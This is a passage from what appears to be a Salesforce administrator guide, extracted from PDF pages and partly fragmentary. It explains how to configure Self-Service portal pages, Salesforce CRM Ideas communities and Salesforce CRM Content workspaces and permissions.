1. To allow users to submit cases from your Self-Service portal, click Edit on the Log a Case Page line.
2. Select the Show Log a Case Page checkbox.
3. Check Show Message to display a message on this page.
4. If you enabled the message, enter your message in the text box, using the formatting toolbar to format the size, color, or
font. For descriptions of the HTML formatting buttons, see Using the Format Toolbar on page 431.
Optionally, check Show HTML to view your page message in HTML code.
5. Optionally, insert any merge fields for data that you want to replace dynamically. See Merge Fields Overview on page 414.
6. Click Save.
7. To change the fields that display on the page, click the Page Layout link. For more information on changing the page
layout, see Customizing Page Layouts on page 1014.
Note: If a case field is tied to a validation rule, the rule can prevent Self-Service portal users from logging a case
if they do not have access to fill in that field. Consider making those fields visible on the Log A Case page.
1134
Customize Customizing Your Self-Service Pages
9. To see how your Log a Case Page will look, click Preview on the Log a Case Page line. If you have customized the
Self-Service style sheet, the preview shows your custom styles.
See Also:
Customizing Your Self-Service Pages
Enabling Self-Service Features and Settings
Customizing Your Self-Service Look and Feel
Generating Login HTML
Self-Service Jump Start
You can enable and customize the View Cases Page from the Self-Service Portal Pages related list. The View Cases Page
allows users to view their open and closed cases, related solutions, completed activities, comments, and (optionally) to add
comments to their cases.
1135
Customize Customizing Your Self-Service Pages
Add the Case Activities related list to allow Self-Service users to view public, completed activities related to their cases.
You also need to set field-level security to visible for the Visible in Self-Service Portal checkbox on activity
page layouts so support reps will be able to display or hide completed activities in the Self-Service portal by clicking Make
Public or Make Private in the case's Activity History related list.
10. Click Save at any time to finish.
11. To see how your View Cases Page will look, click Preview on the View Cases Page line. If you have customized the
Self-Service style sheet, the preview shows your custom styles.
Tip: To hide specific cases from users in the portal, you can deselect the Visible in Self-Service Portal
checkbox on the case.
Note: View Cases pages list cases in descending order via the Case Number field. Portal users cannot change this
order; nor can they sort case columns in the Self-Service portal.
See Also:
Setting Up Self-Service
Enabling Self-Service Features and Settings
Customizing Your Self-Service Look and Feel
Customizing Your Self-Service Pages
Generating Login HTML
Self-Service Jump Start
You can enable and customize the Suggested Solutions Page from the Self-Service Portal Pages related list. The Suggested
Solutions Page displays up to ten relevant solutions that may help users solve a particular case. When submitting a case or
viewing cases in the Self-Service portal, users can view suggested solutions and close their cases themselves. See What are
Suggested Solutions? on page 2325.
To customize the Suggested Solutions Page:
1136
Customize Generating Login HTML
3. Select a Self-Closed Case Status to show in the Status field for cases closed by Self-Service users. You must select
at least one “Closed” value for this field.
To customize the Status field, see Modifying Picklists on page 798.
4. Choose the maximum number of suggested solutions to display to users at one time. You can show a maximum of ten.
5. Select the Self-Closed Case Reasons that Self-Service users can choose from when they self-close their cases.
To customize the values associated with the Case Reason field, see Modifying Picklists on page 798.
6. Check Show Message to display a message on this page.
7. If you enabled the message, enter your message in the text box, using the formatting toolbar to format the size, color, or
font. For descriptions of the HTML formatting buttons, see Using the Format Toolbar on page 431.
Optionally, check Show HTML to view your page message in HTML code.
8. Optionally, insert any merge fields for data that you want to replace dynamically. See Merge Fields Overview on page 414.
9. Click Save.
10. To see how your Suggested Solutions Page will look, click Preview on the Suggested Solutions Page line. If you have
customized the Self-Service style sheet, the preview shows your custom styles.
See Also:
Customizing Your Self-Service Pages
Enabling Self-Service Features and Settings
Customizing Your Self-Service Look and Feel
Generating Login HTML
Self-Service Jump Start
After enabling and customizing your Self-Service portal, generate the URL or HTML code where users will log in to your
Self-Service portal.
1137
Customize Managing Self-Service Users
See Also:
Enabling Self-Service Features and Settings
Customizing Your Self-Service Look and Feel
Customizing Your Self-Service Pages
Managing Self-Service Users
Self-Service Jump Start
Manage your Self-Service user information from a single place and make changes to more than one user at a time. Before your
customers can take advantage of the Self-Service portal, you must enable Self-Service access for each contact. You can enable
access for one contact at a time from the Contacts tab or for multiple contacts via the Self-Service setup pages.
• To enable Self-Service users individually from the Contacts tab, see Self-Service for Contacts on page 158.
• To enable multiple Self-Service users at once, see Enabling Multiple Self-Service Users on page 1139.
• To change Self-Service user information, see Editing Self-Service User Information on page 1140.
• To reset Self-Service user passwords, see Resetting Self-Service User Passwords on page 1140.
See Also:
Enabling Self-Service Features and Settings
Customizing Your Self-Service Look and Feel
Customizing Your Self-Service Pages
Generating Login HTML
Self-Service Jump Start
1138
Customize Managing Self-Service Users
You can perform mass actions for Self-Service user management such as enabling Self-Service access for many contacts at
once. Each contact must have an email address and must be associated with an account to be a Self-Service user.
To enable new users for your Self-Service portal:
See Also:
Managing Self-Service Users
1139
Customize Managing Self-Service Users
See Also:
Managing Self-Service Users
If a Self-Service user loses his or her password, you can email a new password to him or her. To reset one or more Self-Service
users’ passwords:
1140
Customize Managing Salesforce CRM Ideas
4. Click OK.
See Also:
Managing Self-Service Users
SETTING UP IDEAS
Salesforce CRM Ideas is a community of users who post, vote for, and comment on ideas. Consider it an online suggestion
box that includes discussions and popularity rankings for any subject.
Communities help organize ideas and questions into logical groups with each community having its own focus and unique
ideas and questions. Professional Edition organizations can have only one internal ideas community. All other editions can
have up to 50 communities shared between ideas and answers.
You can display an Ideas community to internal Salesforce.com users, Customer Portal or partner portal users, or to public
users (requires setting up a Force.com site). For step-by-step directions on setting up Salesforce CRM Ideas, refer to the
Salesforce CRM Ideas Implementation Guide.
As an administrator, you can:
• Control whether ideas are enabled for your organization and customize the half-life of ideas. See Customizing Salesforce
CRM Ideas Settings on page 1142.
• Create a new community. See Creating and Editing Communities on page 1208.
• Define picklist values for the Categories and Status fields. See Defining Picklist Values for the Categories and Status
Fields on page 1148.
• Specify the layout of custom fields. See Setting Layouts for Idea Fields on page 1152.
• Make idea reports available to your users. See Setting Up Idea Reports on page 1153.
• Customize idea search layouts. See Customizing Search Layouts on page 1044 and Searching for Ideas on page 2386.
• Merge ideas to reduce the number of duplicate ideas within a community. See Merging Ideas on page 1145.
• Assign a status to an idea. See Posting and Editing Ideas on page 2379.
• Delete a vote through the API to erase all history that the vote ever occurred.
Specifically, deleting a vote does the following:
1141
Customize Customizing Salesforce CRM Ideas Settings
- Removes the user's name from the Last 100 Votes section on the idea's detail page.
For more information, refer to the delete() call in the Web Services API Developer's Guide.
See Also:
Ideas Overview
Tips on Using Salesforce CRM Ideas
Enabling Salesforce CRM Ideas in the Customer Portal
Sites Overview
Administrator setup guide: Salesforce Ideas Implementation Guide
5. If your organization does not already have the multi-select Categories field enabled, click the Enable button located
below the Categories message at the top of the page. This button is not displayed if your organization already has the
Categories field enabled. For more information, refer to Enabling the Categories Field on page 1150.
If the Categories field is already enabled, the Enable Categories checkbox is selected. Once the field is enabled,
you cannot disable it.
6. In the Half-Life (in Days) field, enter a number of days.
1142
Customize Communities Home
The half-life setting determines how quickly old ideas drop in ranking on the Popular Ideas subtab, to make room for
ideas with more recent votes. A shorter half-life moves older ideas down the page faster than a longer half-life.
Note: This field does not appear if Ideas is disabled. To modify the Half-Life (in Days) field, save your
changes after enabling ideas, and then click Edit on the Ideas Settings page.
7. Click Save.
See Also:
Ideas Overview
Managing Salesforce CRM Ideas
Administrator setup guide: Salesforce Ideas Implementation Guide
Communities Home
Ideas communities available in: Professional, Enterprise, Unlimited, and Developer Editions
Answers communities available in: Enterprise, Unlimited, and Developer Editions
Communities help organize ideas and questions into logical groups with each community having its own focus and unique
ideas and questions. Professional Edition organizations can have only one internal ideas community. All other editions can
have up to 50 communities shared between ideas and answers.
Note: If you need more than 50 communities, contact salesforce.com.
• Internal Salesforce.com users only. Salesforce.com users can access all communities regardless of whether the community
is internal-only or displayed in a portal.
• Customer Portal or partner portal users.
• Public users (requires setting up a Force.com Site).
Note: You cannot use Salesforce.com sharing rules to restrict access to communities. When you create a community,
you can restrict access by selecting the portal where the community should appear. Only the users assigned to that
portal (and internal Salesforce.com users) will be able to access that community unless you expose it publicly using
Force.com sites.
To display a list of the existing communities, along with general information about each one, click Setup ➤ Customize ➤
Ideas ➤ Communities or Setup ➤ Customize ➤ Answers ➤ Communities. Communities are shared by the ideas and
answers features, allowing you to view and create communities from either location. From the Communities page you can:
1143
Customize Creating and Editing Communities
7. Use the Portal drop-down list to specify in which portal you want this community displayed. If you only want this community
displayed to internal Salesforce.com users and not to Customer Portal or partner portal users, select Do Not Display
in Portal.
To make an ideas community publicly available, you must select the Customer Portal that you plan to expose publicly using
Force.com sites. Answers communities do not support Force.com sites.
When you display a community in a portal, “(External)” is appended to the community name. Communities that aren't
displayed in a portal have “(Internal)” appended to the name. For example, Laptop Products Community (External).
1144
Customize Merging Ideas
8. Click Save.
See Also:
Selecting Picklist Values and Defaults for a Community
Communities Home
Enabling Salesforce CRM Ideas in the Customer Portal
Sites Overview
Administrator setup guide: Salesforce Ideas Implementation Guide
Merging Ideas
Available in: Professional, Enterprise, Unlimited, and Developer Editions
Overview
As more users contribute to a community, the number of duplicate ideas often increases. Duplicate ideas make it difficult to
measure feedback because votes and comments are spread out over many similar ideas. The best way to resolve this issue is to
merge duplicate ideas together so one idea becomes the master to one or more child ideas.
Note the following about merging ideas:
1145
Customize Merging Ideas
• All votes belonging to child ideas are transferred to the master idea. If the same community member votes for two ideas
that are eventually merged, only the vote for the master idea is kept; the vote for the child idea is discarded.
• Once you merge ideas they cannot be separated.
• Users can only vote for and add comments to a master idea. Child ideas become read-only.
• You cannot merge ideas in separate communities.
• Deleting a parent idea automatically deletes all child ideas. Child ideas cannot be deleted individually.
• The master idea does not inherit the status and category values of its child ideas.
• When an idea is merged and becomes a child idea, the child idea still appears on the Ideas Submitted page but not on any
other pages in a community member's Recent Activity.
Merging Ideas
To locate duplicate ideas and merge them together:
1. On the Ideas tab, click the title of an idea that you want to merge.
2. On the idea's detail page, click Find Duplicates. Salesforce.com searches all the ideas within the community and displays
the five ideas with titles that most closely match the current idea's title.
3. If the Possible Duplicates list does not contain any ideas that you want to merge, enter keywords in the Search for
Duplicates field and click Search. Salesforce.com displays a new list of possible duplicate ideas.
4. From the Possible Duplicates list, select the ideas that you want to merge.
To view the details of a possible duplicate idea, click the idea's title. Use your browser's back button to return to the search
results.
5. Click Merge with Current Idea.
6. Select the idea that you want to be the master idea, and click Merge.
7. Click OK to complete the merge.
See Also:
Searching for Ideas
Viewing Ideas
Posting and Editing Ideas
Deleting Ideas
1146
Customize Tips on Using Salesforce CRM Ideas
Consider the following information when setting up and using Salesforce CRM Ideas:
- Create a workflow rule or trigger based on the number of comments an idea receives. You cannot create a workflow
rule or trigger based on an idea’s vote total or vote count. You also cannot create a trigger that inserts or deletes a
comment when the Idea object is updated. For more information, see Creating Workflow Rules on page 1402.
- Create a custom report based on an idea's vote score or number of comments. For more information, see Creating a
Custom Report on page 2139.
• When posting an idea or comment, you can include a URL in the idea's description or comment field, but you cannot
attach a file or add a note to an idea.
• Master detail relationships are not supported.
• Salesforce CRM Ideas does not support workflow tasks, outbound messages, and approvals.
• Salesforce CRM Ideas does not support custom links.
• The Ideas detail page does not contain related lists.
• The data export feature archives all your Salesforce CRM Ideas data with the exception of deleted ideas and deleted
comments.
• You cannot create activities and events for Salesforce CRM Ideas.
• When using standard or custom Idea fields, note the following:
1147
Customize Defining Picklist Values for the Categories and Status Fields
Overview
For community members to assign categories to an idea or be able to view an idea's status, the Salesforce CRM Ideas
administrator needs to define picklist values for the Categories and Status fields. These fields are only available in an
ideas community and not in an answers community.
Categories are administrator-defined values that help organize ideas into logical sub-groups within a community. The View
Category drop-down list on the Ideas tab allows users to filter ideas by category, and the Categories picklist on the Post
Ideas page lets users add categories to their ideas.
An idea's status helps community members track the progress of the idea. For example, “Under Review”, “Reviewed”, “Coming
Soon”, and “Now Available” are common status values an administrator can define and assign to ideas. An idea's status appears
next to the idea's title for all community members to see.
Note: If the Category field is displayed (instead of Categories), then your community members can only assign
a single category to an idea. To allow them to assign multiple categories to an idea, enable the Categories field on
the Setup ➤ Customize ➤ Ideas ➤ Settings page.
4. Add one or more picklist values (one per line) in the provided text area.
5. Select the communities that you want to include the new picklist values.
6. Click Save.
7. To specify a default value for the Categories or Status fields, see Selecting Picklist Values and Defaults for a Community
on page 1149.
Note: Do not use the Edit link on the Fields page to specify a default value for Categories or Status. You
can only specify a default value from the Community Detail page.
8. To be able to assign a status to ideas and display an idea's status to community members, select the Show Status Field
checkbox on the Setup ➤ Customize ➤ Ideas ➤ Fields Layout page.
1148
Customize Selecting Picklist Values and Defaults for a Community
Once you select this checkbox, you can assign a status to any idea when you post a new idea or edit an existing idea. For
more information, see Posting and Editing Ideas on page 2379.
See Also:
Managing Salesforce CRM Ideas
Ideas Overview
Selecting Picklist Values and Defaults for a Community
After you define picklist values for the Categories and Status fields, you can add and remove picklist values from these
fields on a per-community basis and specify a default value. This allows you to customize the Categories and Status fields
based on the unique purpose of a community. For information, see Defining Picklist Values for the Categories and Status
Fields on page 1148.
To add or remove picklist values from a specific community:
See Also:
Creating and Editing Communities
1149
Customize Enabling the Categories Field
Organizations using the Category field can switch to the multi-select Categories field that allows community members
to associate more than one category with an idea. The Category field only allows one category to be associated with an idea.
Caution: Once you enable the Categories field, you cannot disable it. Also, enabling the Categories field
automatically disables the old Category field in Salesforce.com and the API.
When you enable the Categories field, Salesforce.com automatically does the following:
• Checks your organization's workflow rules, triggers, validation rules, custom fields, and Apex code and lists any area that
references the Category field. You must manually fix or remove these references before Salesforce.com allows you to
enable the Categories field.
• Automatically moves all picklist values and search layouts from the old Category field to the new Categories field.
• Ensures each idea is associated with the appropriate picklist value in the new Categories field.
• Makes the new Categories field available in Salesforce.com and the API.
4. Read the information in the pop-up window, and click Enable. It may take several minutes for Salesforce.com to enable
the new field.
1150
Customize Migrating to the Community Application
5. Fix any custom reports that reference the old Category field.
See Also:
Customizing Salesforce CRM Ideas Settings
Selecting Picklist Values and Defaults for a Community
Defining Picklist Values for the Categories and Status Fields
If your organization enabled Salesforce CRM Ideas prior to the Winter '10 release, we recommend that you migrate to the
new Community application. The Community application:
Caution: Once you migrate to the Community application, you cannot return to the old Ideas application. The Ideas
tab with all your existing data will still be available in the new Community application.
1151
Customize Customizing Salesforce CRM Ideas Standard and Custom Fields
Administrators can customize Salesforce CRM Ideas standard and custom fields to meet the needs of an organization's unique
requirements:
• Define picklist values for the Categories and Status fields. For more information, see Defining Picklist Values for the
Categories and Status Fields on page 1148.
• Click the name of a standard or custom field to set field-level security. For more information, see Setting Field-Level
Security on page 540.
• Click the name of a custom field to set validation rules. For more information, see Defining Validation Rules on page 892.
• Create a custom field for Salesforce CRM Ideas. Custom fields appear in the Additional Information section on the Post
Idea and Idea Detail pages. For more information, see About Custom Fields on page 811.
See Also:
Ideas Overview
Customizing Salesforce CRM Ideas Settings
When a custom field is created for Salesforce CRM Ideas, that field appears in the Additional Information section at the
bottom of the Post Idea and Idea Detail pages.
1152
Customize Setting Up Idea Reports
To improve the layout of these pages, you can specify the order in which a custom field appears in the Additional Information
section. You can also remove a custom field from these pages without permanently deleting the field from the system.
To set the layout of a custom Salesforce CRM Ideas field:
See Also:
Customizing Fields
Defining Picklist Values for the Categories and Status Fields
As an administrator, you can create custom report types so users can run and create custom reports about ideas, idea comments,
and votes. Custom report types are the only way to make idea reports available for your users—Salesforce.com does not provide
sample idea reports or a standard report folder for ideas.
To create a folder of idea reports for your users:
1. Create a custom report type for ideas. For details, see Setting Up Custom Report Types on page 2211.
If you create a custom report type that uses Ideas as the primary object and Votes as the secondary object, child (merged)
ideas will not appear in the report unless you select "A" records may or may not have related "B" records.
Child ideas have no votes because their votes are transferred to the master idea. This means child ideas do not appear in
a report if the Votes object is required.
2. Create a new public folder for idea reports. This step requires the “Manage Public Reports” permission. For details, see
Creating and Editing Folders on page 1061.
1153
Customize Customizing Salesforce CRM Content
3. Using your custom report type, create one or more new custom reports for ideas. Assign the reports to the new idea reports
folder you created. For details, see Creating a Custom Report on page 2139.
After completing these steps, a folder of idea reports will be available to your users on the Reports home page.
See Also:
Ideas Overview
Managing Salesforce CRM Ideas
Click Setup ➤ Customize ➤ Salesforce CRM Content to access the following options for customizing Salesforce CRM
Content:
Tip: To perform the initial set up of Salesforce CRM Content for your organization, see Setting Up Salesforce CRM
Content on page 1156.
1154
Customize Customizing Salesforce CRM Content
• Content Fields—Create, edit, or delete custom content fields. Custom fields allow users to categorize and define content
during the publishing process.
• Validation Rules—Create, edit, or delete validation rules. Validation rules verify that the data a user enters when publishing
content meets the standards you specify before the user can save the content.
• Content Types—Create, edit, or delete the content type where content fields are assigned. The content type determines
the layout of fields in Salesforce CRM Content.
• Workspace Permissions—Create, edit, or delete workspace permissions. A workspace permission determines user privileges
within a workspace.
• Settings—Modify Salesforce CRM Content default settings for multi-language support, PDF downloads, content pack
creation, custom presentation assembly, or the enhanced document viewer.
To create, edit, or delete workspaces, assign a new user to a workspace, or change a user's role in a workspace, see Managing
Workspaces on page 263.
See Also:
Creating Workspaces
Salesforce CRM Content Overview
1155
Customize Setting Up Salesforce CRM Content
Tip:
For more detailed information about setting up Salesforce CRM Content, refer to the Salesforce CRM Content
Implementation Guide.
1. Enable Salesforce CRM Content by clicking Setup ➤ Customize ➤ Salesforce CRM Content ➤ Settings and selecting
Enable Salesforce CRM Content.
2. Give users access to Salesforce CRM Content by assigning feature licenses in one of the following ways:
• To assign feature licenses to users automatically, click Setup ➤ Customize ➤ Salesforce CRM Content ➤ Settings
and select Autoassign feature licenses to existing and new users.
• To assign feature licenses to users manually, click Setup ➤ Manage Users ➤ Users and click Edit next to the user's
name. Select the Salesforce CRM Content User checkbox and click Save.
3. Verify that the profile assigned to Salesforce CRM Content users has the Salesforce CRM Content user permissions
enabled. The user permissions include “Manage Salesforce CRM Content,“Create Workspaces,” “Manage Content
Permissions,” “Manage Content Properties”,“Manage Content Types”, and “Deliver Uploaded Files and Personal Content.”
For more information about these user permissions, see Administrative and General Permissions on Profiles on page 475.
1156
Customize Setting Up Salesforce CRM Content
Note: Users with the “Deliver Uploaded Files and Personal Content” user permission can create content deliveries
from personal workspaces. This user permission does not affect the ability to deliver content from shared workspaces.
4. Optionally, create a public group with a set of Salesforce CRM Content users. You can save time later by assigning the
group to a workspace rather than assigning several users to the same workspace individually. See Creating and Editing
Groups on page 496.
5. Optionally, create one or more workspace permissions. Workspace permissions are the groups of privileges that determine
user access within a workspace. Every user must be assigned a workspace permission before he or she can use a workspace.
All new organizations contain three workspace permissions: workspace administrator, author, and viewer. For more
information, see Managing Workspace Permissions on page 1163.
6. Use the New Workspace Wizard to create a workspace, add members to the workspace, and assign workspace permissions
to the members. See Creating Workspaces on page 1171.
7. Categorize and define your content:
a. Create content fields. These are custom fields that you assign to a content type. The default fields are Description,
Tags, and Title. If you want to create a field named, for example, Reviewed By, your custom content field would
be a picklist with the names of possible reviewers. See Customizing Content Fields on page 1158.
b. Create a custom content type or modify the General content type. Content types are the containers for custom fields;
they determine which fields are available during the publishing process and how the fields display on the content details
page. You can create multiple content types and assign a content field to any or all content types. For example, if sales
and marketing users need to record different information about their content, you can create Sales and Marketing
content types. If you create a Related Campaign lookup field and add it to the Marketing content type only, users
who select the Sales content type during the upload process will not have the option to choose a campaign. See Setting
Content Types on page 1159.
8. Optionally, enable the Add Google Doc to Salesforce.com service so workspace members can contribute Google docs to
Salesforce CRM Content. See Activating Google Docs in Salesforce.com on page 302.
To customize Salesforce CRM Content after initial configuration, such as adding new content fields or editing workspace
permissions, see Customizing Salesforce CRM Content on page 1154.
See Also:
Customizing Content Fields
Setting Content Types
Managing Workspace Permissions
1157
Customize Customizing Content Fields
Click Setup ➤ Customize ➤ Salesforce CRM Content ➤ Fields to create, modify, and delete Salesforce CRM Content
custom fields for categorizing and defining your content. The data assigned to these fields during upload is available on the
content details page for the life of the file. After creating custom content fields, you must assign them to a content type. The
content type determines which fields appear when a user uploads or revises files in Salesforce CRM Content. For more
information, see Setting Content Types on page 1159.
To create a custom content field:
• Some data types are only available for certain configurations. For example, the Master-Detail Relationship
option is available only for custom objects when the custom object does not already have a master-detail
relationship. Also, custom settings only allow a subset of the available data types.
• Relationship fields count towards custom field limits.
• Field types not listed in custom field types may appear if your organization installed a package from the
AppExchange that uses those custom field types.
• The Roll-Up Summary option is only available on certain objects.
• Field types correspond to API data types. For more information, see “API Data Types and API Field Types”
in the Web Services API Developer's Guide.
3. For relationship fields, choose the object that you want to associate with it.
4. Enter a field label.
The field name is automatically populated based on the field label you enter. This name can contain only underscores and
alphanumeric characters, and must be unique in your organization. It must begin with a letter, not include spaces, not end
with an underscore, and not contain two consecutive underscores. Use the field name for merge fields in custom links,
custom s-controls, and when referencing the field from the API. For more information, see Guidelines for Using Merge
Fields on page 414.
Tip: Ensure the custom field name is not identical to any standard field name for that object. If a custom field
and standard field have the same name and you reference that name in a merge field, the merge field displays the
value of the custom field.
1158
Customize Setting Content Types
5. Choose the content type that should display the field as an editable field.
6. For relationship fields, choose whether to create a related list that displays information about the associated records. You
can choose to put the related list on any page layouts for that object.
To change the label of the custom related list as it will appear on the page layouts of the associated object, edit the Related
List Label.
To add the new related list to page layouts that users have already customized, check Append related list to
users’ existing personal customizations.
Click Edit or Del in the Content Custom Fields & Relationships related list to edit or delete a custom content field. You
cannot edit or delete the standard content fields. Salesforce.com stores deleted custom fields and their data until your organization
permanently deletes them or 45 days has elapsed, whichever happens first. Until that time, you can restore the field and its
data. For information on restoring deleted custom fields and relationships, see Managing Deleted Custom Fields on page 842.
See Also:
Setting Content Types
Customizing Salesforce CRM Content
CONTENT TYPES
Content types are the containers for custom fields in Salesforce CRM Content; content types determine which fields are
available during the publishing process and how the fields display on the content details page. If multiple content types are
available in a workspace, users select a content type after contributing files, content packs, Google docs, or Web links.
To work with content types, click Setup ➤ Customize ➤ Salesforce CRM Content ➤ Content Types. You can:
• Click New to create content types; see Creating Content Types on page 1160.
• Click Edit to edit content types; see Editing Content Types on page 1161.
• Click Del to delete a content type.
• Click picklists to modify the picklists on any content type. Picklists are customized selection lists that allow users to pick
values from a predefined list of entries.
1159
Customize Creating Content Types
When editing a workspace, you can choose which content types are visible to workspace contributors. For more information,
see Restricting Content Types on page 1174.
See Also:
Customizing Content Fields
Customizing Salesforce CRM Content
Content types are the containers for custom fields in Salesforce CRM Content; content types determine which fields are
available during the publishing process and how the fields display on the content details page. If multiple content types are
available in a workspace, users select a content type after contributing files, content packs, Google docs, or Web links.
To create a new content type:
For instructions on modifying the content type, see Editing Content Types on page 1161.
Note: When editing a workspace, you can choose which content types are visible to workspace contributors. For more
information, see Restricting Content Types on page 1174.
See Also:
Setting Content Types
Customizing Content Fields
1160
Customize Editing Content Types
Content types control the organization and visibility of fields on Salesforce CRM Content upload and detail pages.
To edit a content type:
Note: Use the legend to determine what fields are required, dependent, controlling, or have other attributes that
may affect your content type decisions.
4. To make a field required, double-click the field name in the box on the left and click the Required checkbox.
Note: Even though the Read Only option appears, Salesforce CRM Content fields cannot be read only.
5. Click Save to finish. Alternatively, click Quick Save to save and continue editing the content type.
See Also:
Setting Content Types
Creating Content Types
1161
Customize Customizing Content Picklists
Content types are the containers for custom fields in Salesforce CRM Content; content types determine which fields are
available during the publishing process and how the fields display on the content details page. A picklist is a customized
selection list that allows users to pick values from a predefined list of entries. To create a new picklist, see Customizing Content
Fields on page 1158. To modify the picklists available on content types:
1. Go to Setup ➤ Customize ➤ Salesforce CRM Content ➤ Content Types and click the picklists link.
2. Select a content type and click Edit next to one of the picklist fields to customize the values included for the content type.
3. Add any values from the Available Values box or remove any values from the Selected Values box. Users will be able to
choose from the list of selected values when publishing content or editing content details.
4. Optionally, choose a default picklist value. Some picklists require a default value. The default value in a dependent picklist
is ignored.
5. Click Save.
Note: The master picklist, the complete list of values in a picklist, is independent of all content types. If you add a
picklist value to the master picklist, you must manually include the new value in the appropriate content types. If you
remove a picklist value from the master, it is no longer available when publishing new content; however, existing
content assigned to that value is unchanged.
See Also:
Setting Content Types
Editing Content Types
Customizing Content Fields
1162
Customize Managing Workspace Permissions
WORKSPACES
Click Setup ➤ Customize ➤ Salesforce CRM Content ➤ Workspace Permissions to manage workspace permissions. A
workspace permission is a group of privileges assigned to each Salesforce CRM Content workspace member. It determines
which tasks a member can perform in a particular workspace. The same user can have a different workspace permission in
each of his or her workspaces.
Note: If your Salesforce CRM Content organization was created after the Spring '09 release, your organization already
has three workspace permissions: Workspace Administrator, Author, and Viewer.
To create a custom workspace permission, click the Add Workspace Permissions button. To edit a workspace permission,
click Edit next to the workspace permission name. To delete a workspace permission, click Del next to the workspace permission
name.
Note: Workspace permissions do not apply to personal workspaces. All Salesforce CRM Content users can save files
in their personal workspaces.
See Also:
Customizing Salesforce CRM Content
Setting Up Salesforce CRM Content
1163
Customize Creating Workspace Permissions
To create a workspace permission in Salesforce CRM Content, click Setup ➤ Customize ➤ Salesforce CRM Content ➤
Workspace Permissions and click Add Workspace Permissions.
Tip: If your Salesforce CRM Content organization was created after the Spring '09 release, your organization already
has Viewer, Author, and Workspace Administrator workspace permissions. If not, consider creating them. These
three workspace permissions provide the different levels of workspace access required for most organizations. For the
“Viewer” workspace permission, select the View Comments and Add Comments workspace privileges. For the
“Author” workspace permission, select the Add Content, Add Content on Behalf of Others, Archive
Content, Add Comment, and Tag Content workspace privileges. For the “Workspace Administrator” permission,
select the Manage Workspace privilege.
Add Content Publish new content to the workspace, upload new content
versions, or restore archived (deleted) content. Content
authors can also change any tags associated with their content
and archive or delete their own content.
Add Content on Behalf of Others Choose an author when publishing content in the workspace.
Archive Content Archive and restore any content in the workspace.
1164
Customize Editing Workspace Permissions
4. Click Save.
See Also:
Managing Workspace Permissions
Deleting, Archiving, and Restoring Content
Customizing Salesforce CRM Content
To edit a Salesforce CRM Content workspace permission, click Setup ➤ Customize ➤ Salesforce CRM Content ➤
Workspace Permissions and click Edit next to the appropriate permission.
1165
Customize Editing Workspace Permissions
Add Content Publish new content to the workspace, upload new content
versions, or restore archived (deleted) content. Content
authors can also change any tags associated with their content
and archive or delete their own content.
Add Content on Behalf of Others Choose an author when publishing content in the workspace.
Archive Content Archive and restore any content in the workspace.
Delete Content Delete any content in the workspace. Authors can undelete
their own content from the Recycle Bin.
Feature Content Identify any content in the workspace as “featured.”
View Comments Read comments posted to any content in the workspace.
Add Comments Post comments to any content in the workspace and view
all comments in the workspace. Users can edit or delete their
own comments.
Modify Comments Edit or delete comments made to any content in the
workspace.
Tag Content Add tags when publishing content or editing content details
in the workspace.
Deliver Content Create a content delivery using any files in the workspace.
Post Content to Chatter Feeds Make content from this workspace accessible on Salesforce
Chatter feeds. From a Chatter feed, users can select a file
from a workspace they are a member of and post it to the
feed.
1166
Customize Deleting Workspace Permissions
4. Click Save.
See Also:
Creating Workspace Permissions
Deleting, Archiving, and Restoring Content
Customizing Salesforce CRM Content
To assign a new workspace permission to a workspace member, see Viewing and Editing Workspaces on page 265.
See Also:
Managing Workspace Permissions
Creating Workspace Permissions
Customizing Salesforce CRM Content
1167
Customize Customizing Content Settings
Note: Microsoft Office 2007 file previews are currently available through a pilot program.
Click Setup ➤ Customize ➤ Salesforce CRM Content ➤ Settings to modify the defaults for your Salesforce CRM Content
organization:
Enable Salesforce CRM Content
If this option is checked, Salesforce CRM Content is enabled for your organization.
If a user does not choose a language when publishing content, that content is associated with the user's personal language
by default. If the user's personal language setting is different from the organization's language, content published by that
user is associated with the user's language, not the organization's language.
1168
Customize Customizing Content Settings
creation is no longer enabled, users cannot customize or modify existing packs. Specifically, the Clone & Customize
button and the Edit ➤ Edit Content Pack option on the content details page are unavailable.
• In addition to using the next page ( ), previous page ( ), first page ( ), and last page ( ) icons on the document
toolbar, you can navigate page-by-page through a document by right-clicking and choosing Next Page and Previous
Page. The right-click menu is not available in preview mode.
• You can jump directly to a page by entering the page number and clicking Enter. This option is not available in
full-screen mode.
• From the right-click menu you can choose the Fit Width option to expand the width of the document or the Fit
Full Page option to view the whole page of the document. The fit width icon ( ) and fit full page icon ( ) are also
available on the toolbar.
• From the right-click menu you can choose the Full Screen option to view the document in full screen mode or the
Exit option to exit full screen mode. The full screen icon ( ) and exit icon ( ) are also available on the toolbar.
• From the right-click menu you can Zoom In or Zoom Out. The zoom-in icon ( ) and zoom-out icon ( ) are also
available on the toolbar.
• You can use the scroll bar to move continuously through a document without needing to click the Next Page and
Previous Page icons. Continuous scrolling is not available in preview mode or for PowerPoint documents in any
mode.
• You can use the keyboard arrow keys to navigate page-by-page through a document. Click on the document viewer
and use the keys as follows:
- Right-arrow key: moves a PowerPoint document forward one slide and moves a PDF, Word, or Excel document
forward one page.
- Left-arrow key: moves a PowerPoint document backward one slide and moves a PDF, Word, or Excel document
backward one page.
- Up-arrow key: moves a PowerPoint document forward one slide and scrolls a PDF, Word, or Excel document
up the page.
- Down-arrow key: moves a PowerPoint document backward one slide and scrolls a PDF, Word, or Excel document
down the page.
1169
Customize Customizing Content Settings
See Also:
Customizing Salesforce CRM Content
Uploading and Publishing Content
Viewing and Editing Content Details
Searching for Content
1170
Customize Creating Workspaces
Creating Workspaces
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions
Adding a new workspace in Salesforce CRM Content includes creating the workspace name and description, adding members
to the workspace, and assigning workspace permissions that determine each member's privileges within the workspace.
1171
Customize Assigning Workspace Tagging Rules
See Also:
Managing Workspaces
Viewing and Editing Workspaces
Salesforce CRM Content Overview
In Salesforce CRM Content, tags are descriptive labels that help classify and organize content. Contributors can assign tags
to their files, content packs, Google docs, or Web links, thus enabling all workspace members to browse for content by tag.
The tagging rule in a workspace determines how contributors can tag content; for example, the restricted-tagging rule does
not allow contributors to create new tags. Workspace tagging rules are optional. By default, workspace contributors can enter
any tag.
To assign a tagging rule to a workspace:
1172
Customize Assigning Workspace Tagging Rules
3. If you chose Guided Tagging or Restricted Tagging, click the link for auto-populating the Suggested Tags field and
then edit, add, or remove tags as needed. If you do not auto-populate the Suggested Tags field, any new tags you enter
in the field are added to the existing list of suggested tags in the workspace.
4. Click Save.
• If a restricted tagging rule is applied after content has already been published in the workspace and the existing content
